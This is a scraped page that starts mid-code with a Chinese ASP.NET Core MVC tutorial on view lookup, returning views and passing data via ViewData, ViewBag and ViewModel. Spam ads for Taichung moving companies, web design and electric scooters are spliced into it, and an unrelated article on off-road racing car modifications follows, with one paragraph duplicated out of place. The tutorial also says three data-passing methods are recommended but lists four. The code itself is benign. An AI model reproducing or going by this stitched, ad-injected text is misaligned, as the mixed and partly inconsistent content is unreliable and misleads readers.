    {
    }
}

Layout正好是這個類的一個屬性，表示視圖是否使用了某個布局頁。所以上面的代碼錶示，Views里的新建視圖，默認是使用名為_Layout的視圖作為布局頁。

當然，這個頁面不只有這個作用，小夥伴們可以自己嘗試下哦。

1.3 視圖檢索

在上一節中，我們指定了一個布局頁的名稱。布局頁也是視圖中的一種，但我們也只指定了名稱，但沒有指定路徑。asp.net core是如何發現這個名稱的視圖呢？

asp.net core 會按照以下順序查找對應的視圖文件：

• Views/[ControllerName]/[ViewName].cshtml
• Views/Shared/[ViewName].cshtml

所以，_Layout也會按照這個順序查找，為了避免不必要的混淆，我們只在Shared目錄下寫了_Layout.cshtml。這也是通常的做法，該文件表示一個全局的布局頁。

2. 控制器與視圖的關係

在上一篇《【asp.net core 系列】2 控制器與路由的恩怨情仇》中，我們介紹了三種創建控制器的方法，並且最後推薦使用名字以Controller結尾並繼承Controller類的寫法。我將在這裏為大家再次講解為什麼推薦這樣寫：

• 以Controller結尾，可以很明確的告訴其他人或者未來的自己這是一個控制器，不是別的類
• 繼承Controller，是因為Controller類為我們提供了控制器用到的屬性和方法

嗯，暫時就這兩點。別看少，但是這很重要。

2.1 使用視圖

在之前介紹的時候，有提到過當我們訪問一個URL的時候，路由會自動為我們尋找到對應的可執行代碼單元。但是，沒有進一步內容的介紹。當我們尋找到對應的可執行代碼單元也就是Action之後，Action進行一系列的處理，會對這個請求做出響應。有一種響應就是返回一個展示頁面，也就是View。

那麼，如何返回一個View呢？

創建一個控制器，名為ViewDemoController，並添加一個方法Index，返回類型為IActionResult：

using Microsoft.AspNetCore.Mvc;

namespace MvcWeb.Controllers
{
    public class ViewDemoController:Controller
    {
        public IActionResult Index()
        {
            return View();
        }
    }
}

其中 View() 表示返回一個View，這View的名稱是 Index，在ViewDemo控制器下。所以，它的路徑應該是：

Views/ViewDemo/Index.cshtml

在對應目錄創建該文件，然後在文件里隨便寫一些內容，之後啟動項目（項目的端口在第一部分就已經修改過了）：

http://localhost:5006 

然後訪問：

http://localhost:5006/ViewDemo/

應該是類似的頁面。

※推薦台中搬家公司優質服務,可到府估價

台中搬鋼琴,台中金庫搬運,中部廢棄物處理,南投縣搬家公司,好幫手搬家,西屯區搬家

IActionResult 是一個接口，表示是一個Action的處理結果，在這裏可以理解為固定寫法。

2.2 指定視圖

在控制器里，View 方法表示使用一個視圖進行渲染，默認是使用方法同名的視圖。當然，既然是默認的，那就一定有不默認的時候。對的，View方法提供了幾個重載版本，這些重載版本里有一個名字為viewName的參數，這個參數就是用來指定視圖名稱的。

那麼，我們可以指定哪些視圖名稱：

• 同一個控制器文件夾下的其他視圖
• Shared 文件夾下的視圖

這兩種都是不用攜帶路徑的視圖名，可以省略文件擴展名（cshtml）。

當然，還可以指定其他路徑下的視圖文件，如：

• Views/Home/About.cshtml 表示從根目錄下查找到這個視圖，這種寫法必須指定擴展名
• ../Manage/Index 表示在Manage控制器目錄下的Index

2.3 給視圖傳遞數據

之前介紹了如何使用視圖、如何指定視圖名稱，但是還缺最關鍵的一步，那就是如何給視圖傳遞數據。

通常情況下，Action方法中給視圖傳遞數據，只有這三種是推薦的：

• 使用ViewData
• 使用ViewDataAttribute
• 使用ViewBag
• 使用ViewModel

Controller類有一個屬性是 ViewData，它的聲明如下：

public ViewDataDictionary ViewData { get; set; }

可以看到這是一個字典型的屬性，所以給它賦值是這樣使用的：

public IActionResult Index()
{
    ViewData["Title"] = "ViewDemo";
    return View();
}

ViewBag也是 Controller類的一個屬性，它的聲明如下：

public dynamic ViewBag { get; }

可以看到這是一個動態類，實際上ViewBag里的數據與ViewData是互通的，換句話說就是ViewBag是對ViewData的一次封裝，兩者並沒有實際上的區別。賦值使用：

public IActionResult Index()
{
    ViewBag.Name = "小李";
    return View();
}

而ViewDataAttribute則與上兩個，不太一樣，這個屬性標註給控制器的屬性上，asp.net core mvc就會把這個屬性的值填充給ViewData，鍵值就是屬性名：

[ViewData]
public string AttributeTest{get;set;}

與 ViewData["AttributeTest"]效果一致。

在View方法的一些重載版本里，需要一個名為 model的參數，類型是object。這個參數就是一個ViewModel。使用：

在MvcWeb/Models 下添加一個類：

namespace MvcWeb.Models
{
    public class ViewModelTestModel
    {
        public string Name{get;set;}
        public int Age{get;set;}
    }
}

回到剛剛的Index方法里，創建一個ViewModelTestModel實例，並傳給View方法：

public IActionResult Index()
{
    ViewData["Title"] = "ViewDemo";
    ViewBag.Name = "小李";
    var model = new ViewModelTestModel
    {
        Name = "測試實例",
        Age = 1
    };
    return View(model);
}

2.4 在視圖中使用

在上一小節中，我們分別使用ViewData和ViewBag以及ViewModel給視圖傳遞了三個數據，那麼如何在視圖中獲取這三個數據呢？

<h2>@ViewData["Title"]</h2>
<!--實際會显示 <h2>ViewDemo</h2>-->

與字典一樣，@起頭，表示後面跟着一個屬性或者一段C#表達式，並將表達式的結果輸出到頁面上。

ViewBag的訪問與ViewData類似，只不過ViewBag是動態對象，可以認為它的類型並沒有發生改變，繼續按照之前的類型進行使用：

<h4>@ViewBag.Name</h4>

對於ViewModel的使用，View內置了一個dynamic的Model屬性，在不做特殊處理的情況下，我們在頁面上使用@Model 會得到一個dynamic對象（如果傳了ViewModel的話）。雖然也能用，但是這不太友好。

這時候，就需要我們在視圖的開頭處，添加：

@model ViewModelTestModel

這時候，再使用@Model的時候，就會自動解析成ViewModelTestModel了。

整體Index.cshtml內容如下：

@model ViewModelTestModel
Hello  World!
<h2>@ViewData["Title"]</h2>

<h4>@ViewBag.Name</h4>
@Model.Name +  @Model.Age

然後重啟服務后，刷新頁面，會看到類似的內容：

3. 總結

我們在這一篇介紹了視圖的一些概念，並介紹了如何使用控制器給視圖傳遞數據。下一篇將講解一下路由的高級作用，如何通過路由攜帶數據。

更多內容煩請關注我的博客《高先生小屋》

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦台中搬家公司優質服務,可到府估價

台中搬鋼琴,台中金庫搬運,中部廢棄物處理,南投縣搬家公司,好幫手搬家,西屯區搬家

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計，決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計，採用精簡與質感的CSS語法，提升企業的專業形象與簡約舒適的瀏覽體驗，讓瀏覽者第一眼就愛上它。

2、進氣系統一輛標準的帕傑羅過水雖然沒有問題，但是速度要十分慢，快過沙子慢淌水這個道理大家都懂，但是賽車時前方的水坑也要全速沖，所以不改進氣車子過水的時候可能發動機就進水了。3、懸架懸架系統主要承擔緩衝和吸收衝擊的作用，以保護車身機械系統以及車輛電氣系統，如果懸架的強度不夠不能支持車輛飛躍等，這樣就導致每次爬坡到坡頂都必須減速，會浪費掉許多的時間。

對於越野車，不同的人有不同的理解，但是對於大多數人來說，大梁四驅就是越野車，可是如果越野賽車呢？

越野賽車大家都十分陌生，對於小編來說也一樣，不過通過這次參加騰衝站COC越野賽的機會，小編有幸感受到了真正的越野賽車的魅力。

越野賽車和越野車的區別在哪呢？

速度

歸根結底就在於速度兩字，其實對於豐田普拉多/三菱帕傑羅這類的我們熟悉的越野車來說，越野場地的大多數項目都不是問題，但是如果讓一輛原廠狀態的大切諾基來用越野賽車的跑法跑越野賽道的話，可能跑不完一圈車子就趴窩了。

原因就在於越野賽車需要有較高的速度，這樣就需要車子的輪胎/車身/懸架能夠承受更大的衝擊，因此真正的越野賽車對於這些方面都會進行改裝，那麼如果想讓你的車擁有迅速快速地跑完越野賽道的實力，需要改裝哪些地方呢？

1、輪胎

輪胎是和路面接觸的地方，越野賽場的路面可不一般，看似平坦實際上尖石粒到處都是，而越野賽車需要以70km/h左右的高速度碾壓路面，因此輪胎的耐用性十分重要，

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由，將來台灣的環境，出門可以自由放心的深呼吸，讓空氣回歸自然的乾淨，減少污染，留給我們下一代有好品質無空污的優質環境

而且在泥地、沙地也需要輪胎提供足夠的抓地力，在車輛飛躍的時候輪胎也需要承擔並緩衝巨大的衝擊力。所以再強的越野車，如果輪胎不行，那麼也是白搭。

2、進氣系統

一輛標準的帕傑羅過水雖然沒有問題，但是速度要十分慢，快過沙子慢淌水這個道理大家都懂，但是賽車時前方的水坑也要全速沖，所以不改進氣車子過水的時候可能發動機就進水了。

3、懸架

懸架系統主要承擔緩衝和吸收衝擊的作用，以保護車身機械系統以及車輛電氣系統，如果懸架的強度不夠不能支持車輛飛躍等，這樣就導致每次爬坡到坡頂都必須減速，會浪費掉許多的時間。

4、前後包圍

為什麼包圍要改呢？一般車輛的接近角和離去角都比較小，對於高強度越野來說肯定是不夠的，所以拆掉前後包圍是最簡單的做法，也是普遍採取的做法。

5、防翻滾架/座位

這個雖然和性能無關，但是卻是保護安全的神器，防翻滾架是每部賽車的標配，即使車輛翻滾散架，防翻滾架都會保持完整。也能夠保護車內的駕乘人員。而安全帶則無需多言了，你以為3點式安全帶夠用？

最後的最後，可能有人就會問了，我不會把車改成這個樣子啊，其實小編想說的是，有的人開車遇到溝坎減速帶什麼的都不減速的，原理其實和賽車一樣，如果你真的需要暴力開，還真的要把車子改成高強度的狀態，量產車隨便虐只會大大減少壽命，甚至會直接弄毀車輛。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

以設計的實用美學觀點，規劃出舒適、美觀的視覺畫面，有效提昇使用者的心理期待，營造出輕鬆、愉悅的網站瀏覽體驗。